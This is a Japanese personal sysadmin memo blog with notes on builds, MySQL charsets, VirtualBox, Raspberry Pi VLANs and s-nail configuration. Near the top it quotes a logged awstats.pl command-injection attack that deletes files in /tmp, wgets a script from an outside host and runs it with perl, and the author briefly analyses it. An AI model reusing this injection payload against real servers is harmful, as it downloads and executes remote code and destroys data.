僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
がまたウザくなって来た。今度は千歳科学技術大学の方から、らしい。 間口をもっと狭めないと。
にちょっと追記。日記の字を大きく赤くしてみる。
あまり大きいと折り重なってはみだしてしまう。あまり綺麗にはならないかも。
firefox(Linux 及び Tiger)とSafariで確認。 もちろん、w3m では全くわからない。
うじゃうじゃ来た。
入れてないって言ってるのに。
$ grep "awstats.pl" $AGENT_LOG | wc -l 22 $ grep "awstats.pl" $AGENT_LOG | tail -n1 219.166.34.48 - - [14/Aug/2005:10:10:37 +0900] \ "GET /stats/cgi-bin/awstats.pl?configdir=|echo%20;\ cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;\ wget%20members.lycos.co.uk/newput/a.txt;\ perl%20a.txt;echo%20;rm%20-rf%20a.txt*;\ echo| HTTP/1.1" 404 472 "-" "Mozilla/4.0 \ (compatible; MSIE 6.0; Windows 98)"
ちょっとつつく。
wget で
なにやら取り寄せ、perlに喰わせた後、
消去している模様。
とはいえ、ログを見た限り、awstats.pl自体のセキュリティホールを突いているようには見えなかったり。
これで落せるサーバもあるんだろうか。
類例もう一点にもリンクしとこ。
蛇足。今のうちに
控えを取っておこう。こちらもなくならないうちに
手許にとっとく。
ログに記録されたような自動実行はできない筈だけど、
ご利用は自己責任でどうぞ。
トップページの底に貼っていた
Plamoと
viのバナーが見えない。
apache2.2.3は、/usr/local/apache2/iconsを/iconsに、デフォルトで
マッピングするようにはなっていなかった。
conf/extra/httpd-autoindex.confをIncludeするように
httpd.confを設定し直し、apachectl restart。
やはり鯖の負荷は、徐々にあがってゆく。
を作ってみた。/etc/aliasesに、
temp_account: usual_account
して、newaliases(1)するだけ。
アドレスが晒されるのは零時頃と思われる。
さて、スパムが舞い込むまでのタイムラグはどのくらいなんだろうか。
ダンプしたデータベースをリストアする前に文字セットでひっ掛かった。
$ mysql -e "source dump.txt" dbname ERROR 1115 (42000) at line 21 in file: './dump.txt' \ : Unknown character set: 'euc'
$ grep "euc-jp" temp.txt ) ENGINE=MyISAM AUTO_INCREMENT=9 DEFAULT CHARSET=euc-jp; ) ENGINE=MyISAM AUTO_INCREMENT=4152 DEFAULT CHARSET=euc-jp; ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=euc-jp; (ry
--default-character-setは同じだったけど、Mysql-4.1.21 のダンプテキストを --default-character-setを eucjpms にしたMysql-5.0.45をに読ませるために、 s/euc-jp/eucjpms/g する。あと--default-character-set=eucjpmsな オプションもくっつけていたが、これは不要だったようだ。
でも結局、 --with-extra-charset=all つきで再度ビルド。
~
gimp-2.5.2を入れる準備。
BABLがmake install できたので、geglも。
$ ./configure \ --sysconfdir=/etc \ --localstatedir=/var (ry Building GEGL with prefix=/usr/local Optional features: GEGL docs: yes Build workshop: no Build website: no (asciidoc not found) SIMD: sse:yes mmx:yes Optional dependencies: GTK+: yes GIO: no (gio not found) Ruby: yes Lua: no (usable lua not found) Cairo: yes Pango: yes pangocairo: yes GDKPixbuf: yes JPEG: yes PNG: yes OpenEXR: no (usable OpenEXR not found) rsvg: yes SDL: yes asciidoc: no (asciidoc not found) enscript: no (enscript not found) graphviz: no (graphviz not found) avcodec: no (usable libavcodec not found) avformat: no (usable libavformat not found) V4L: yes
$ make (ry make[3]: Entering directory `$DIR/lib/gegl-0.0.18/docs' ../tools/create-reference.rb \ ../gegl/gegl.h \ ../gegl/buffer/gegl-buffer.h \ ../gegl/operation/gegl-operation.h api.html ../tools/create-reference.rb:325:in `block (2 levels) in <main>': \ broken EUC-JP string (ArgumentError) from ../tools/create-reference.rb:319:in `foreach' from ../tools/create-reference.rb:319:in `block in <main>' from ../tools/create-reference.rb:316:in `times' from ../tools/create-reference.rb:316:in `<main>' make[3]: *** [api.html] エラー 1 make[3]: Leaving directory `$DIR/lib/gegl-0.0.18/docs' make[2]: *** [all-recursive] エラー 1 make[2]: Leaving directory `$DIR/lib/gegl-0.0.18/docs' make[1]: *** [all-recursive] エラー 1 make[1]: Leaving directory `$DIR/lib/gegl-0.0.18' make: *** [all] エラー
export LANG=C 程度じゃ効果なし。broken US-ASCII string になっただけ。
ふと思いついて、sudo chmod 644 `which ruby`してビルドしなおすと通った。
geglは BLFSでNoteに入れた だけだが(NoteのPlamoはGimp-2.4.1で、geglは利用して いなかったようだ)、この時は事前に入れてあるruby-1.8.7のことなど 何も考えずにすんなりビルドできていた。
デスクトップに入れてあるruby-1.9.0のせいにするには、色々足りなすぎ。
NoteのPlamo-4.22(cairoやlibpangoなどが新しくなっている)でも追試してみた。
こちらはruby-1.8.6で、make中には何もエラーは出なかった。でも、
$ sudo make install (ry /usr/bin/install -c -T ./devhelp.css /usr/local/share/gtk-doc/html/gegl/gegl.css /usr/bin/install: オプションが違います -- T 詳しくは `/usr/bin/install --help' を実行して下さい. make[3]: *** [install-exec-local] エラー 1 make[3]: Leaving directory `/home/makoto/src/lib/gegl-0.0.18/docs' make[2]: *** [install-am] エラー 2 make[2]: Leaving directory `/home/makoto/src/lib/gegl-0.0.18/docs' make[1]: *** [install-recursive] エラー 1 make[1]: Leaving directory `/home/makoto/src/lib/gegl-0.0.18/docs' make: *** [install-recursive] エラー 1
install(1)自体は同じ(coreutils-5.2.1)だったのだけど。
Plamo-4.6 に入れてみる。VirtualBox-3.2.8-64453-Linux_x86.run に実行属性をつけて sudo で実行。
$ head VirtualBox-3.2.8-64453-Linux_x86.run #!/bin/sh # This script was generated using Makeself 2.1.5 CRCsum="3149859355" MD5="9b8afa3fc610ea4c16a2e3dccfe28beb" TMPROOT=${TMPDIR:=/tmp} label="VirtualBox for Linux installation" script="./install.sh" scriptargs="$0 1> /dev/null" $ wc -l VirtualBox-3.2.8-64453-Linux_x86.run 223085 VirtualBox-3.2.8-64453-Linux_x86.run
$ sudo ./VirtualBox-3.2.8-64453-Linux_x86.run Verifying archive integrity... All good. Uncompressing VirtualBox for Linux installation......... VirtualBox Version 3.2.8 r64453 (2010-08-05T11:57:18Z) installer Installing VirtualBox to /opt/VirtualBox
linux カーネルモジュールをビルドしている様子も見えた。
$ pstree init-+-5*[agetty] |- (ry |-kterm---bash---VirtualBox-3.2.---install.sh--\ -build_in_tmp---make---make---make---sh--\ -gcc---cc1 |-syslogd `-udevd
試しに立ち上げた Slax-ja-6.0.7 + KDE は重すぎて、スクリーンショットを撮る気にもなれなかった。
赤いPython3の本の例題を、try と while から if と for で書き直してみた。
ついでに(順序は逆だけど)ASCII ARTも少し変えた。
import sys Zero = [ " 000 ", " 0 0 ", " 0 0 ", " 0 0 ", " 0 0 ", " 0 0 ", " 000 " ] One = [ " 1 ", " 1 ", " 1 ", " 1 ", " 1 ", " 1 ", " 1 " ] # Two から Nine 略 Digits = [Zero, One, Two, Three, Four, Five, Six, Seven, Eight, Nine] digits = sys.argv[1] if digits.isdigit(): for row in range(7): for col in digits: num = Digits[int(col)] print(num[row], end="") print("") else: print("Not integer or $1 is none")
$ python3 digit.py 0268 000 22222 66666 88888 0 0 2 6 8 8 0 0 2 6 8 8 0 0 22222 66666 88888 0 0 2 6 6 8 8 0 0 2 6 6 8 8 000 22222 66666 88888
短くはなったが、ややこしくもなった。
ちょっとだけ刺激されたのでやってみた。
#!/bin/sed -f #GNU extension fizzbuzz 15~15afizzbuzz 5~5abuzz 5~5d 3~3afizz 3~3d p
$ seq 16 | ./gfizzbuzz.sed -n 1 2 fizz 4 buzz fizz 7 8 fizz buzz 11 fizz 13 14 fizzbuzz buzz 16
さて、--posix オプションを付けた場合どう書けばいいのか。
とりあえず。
$ w3m -dump 'https://dns.google.com/resolve?name=www.kuzuore.com&type=A' { "Status": 0, "TC": false, "RD": true, "RA": true, "AD": false, "CD": false, "Question":[ { "name": "www.kuzuore.com.","type": 1 }], "Answer":[ { "name": "www.kuzuore.com.","type": 1,"TTL": 3599, "data": "219.94.224.152" }], "Comment": "Response from 210.224.172.13" } $ w3m -dump 'https://dns.google.com/resolve?name=kuzuore.com&type=MX' {"Status": 0, "TC": false, "RD": true, "RA": true, "AD": false, "CD": false, "Question":[ { "name": "kuzuore.com.","type": 15 }], "Answer":[ { "name": "kuzuore.com.", "type": 15,"TTL": 3599, "data": "10 mail.kuzuore.com." }], "Comment": "Response from 210.188.224.9" }
一回目はns2.dns.ne.jpから、二回目はns1.dns.ne.jpからの 回答の模様。
限界に挑戦してみる。
RasPi Bと Pi3のイーサネットを直結。
VLAN ID は0から4094までしか割り当てできなかった。
$ uname -a Linux $HOST 4.9.41+ #1023 Tue Aug 8 15:47:12 BST 2017 armv6l GNU/Linux
#!/bin/sh IP_OCT4=1 IP_OCT3=0 for num in `seq 0 4094` do ip link add link eth0 name vlan${num} type vlan id $num echo vlan${num} ip link set vlan${num} up ip addr flush dev vlan${num} ip addr add 10.0.${IP_OCT3}.${IP_OCT4}/28 dev vlan${num} IP_OCT4=`expr $IP_OCT4 + 16` if [ $IP_OCT4 -gt 255 ]; then IP_OCT4=1 IP_OCT3=`expr $IP_OCT3 + 1` fi done
のようなスクリプト。RaspberryPI B で14分14秒、
Pi3で2分44秒くらいかかった。画面表示を抑えればもう少し
速かったかも。
動作中に奇妙なワーニングも出た。
$ ip addr show dev vlan100 Dump was interrupted and may be inconsistent. 103: vlan100@eth0:mtu 1500 \ qdisc noqueue state UP group default qlen 1000 link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff inet 10.0.6.65/28 scope global vlan100 valid_lft forever preferred_lft forever
Message from syslogd@$HOST at Aug 15 09:04:58 ... t of memory [278] Message from syslogd@$HOST at Aug 15 09:04:58 ... t of memory [278] Message from syslogd@$HOST at Aug 15 09:04:58 ... t of memory [278]
$ ps auxw | grep -c systemd 20
free(1)で見ても、Swapのusedは0だった。
ip a などすると、よく分からない順序で出力された(ただし毎回同じ)。
Pi BとPi3のIPアドレスは一つずつずらしておいた。
相手方にpingをいくつか打ってみた。届くことを確認しておしまい。
$ s-nail -V s-nail v14.9.19, 2020-04-26 (built for Linux)
では、"set smtp"でメールを送ろうとすると、
s-nail: Warning: variable superseded or obsoleted: smtp s-nail: Obsoletion warning: please do not use *smtp*, instead assign a smtp:// URL to *mta*!
と愚痴る。"set mta=" で指定するらしい。
という理解でいた
ので、ちゃんと通る形式にするまでひとしきり
試行錯誤する羽目になった。
わかってみれば当然なのだけど、エラーメッセージは メールサーバーを URL Schema(SCHEMA_NAME://<USER>:<PASSWORD>@HOSTNAME:PORT_NUMBER) で指定してくれ、と言っていたのだ。
ユーザ名とパスワードをベタ書きしても通らないので、 パスワードに混ざった記号が引っかかっていると思い込み、 エスケープしようと、シングルやダブルクォーテーションで 囲んでみたり、バックスラッシュを追加したりして、その都度
s-nail: Incorrect URL percent encoding: PASSWORD_STRING s-nail: *mta*: invalid or unsupported value: smtp://USER@SERVER:PASSWORD@MAILSERVER:PORT_NUMBER $HOME/dead.letter 3/57 s-nail: ... message not sent
などと返されていた。
プロバイダで指定されるメールアカウントはUSER@SERVERがよくある。
また、パスワードに記号が混じっていることもある(決め打ちでは少ないが)。
ユーザ名やパスワードに含まれる"@"や、"*"などにURLエンコードが必要だった。
と分かってようやく解決。
Jitsi Meetは何回か立てているが、Zoomの会議室立ち上げを試してみた。
他者をBANしたり、ビデオを止めたり(再開は相手の同意が必要)できるらしい。
で何か?と言われても、何も。
多分、ここまで。
リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。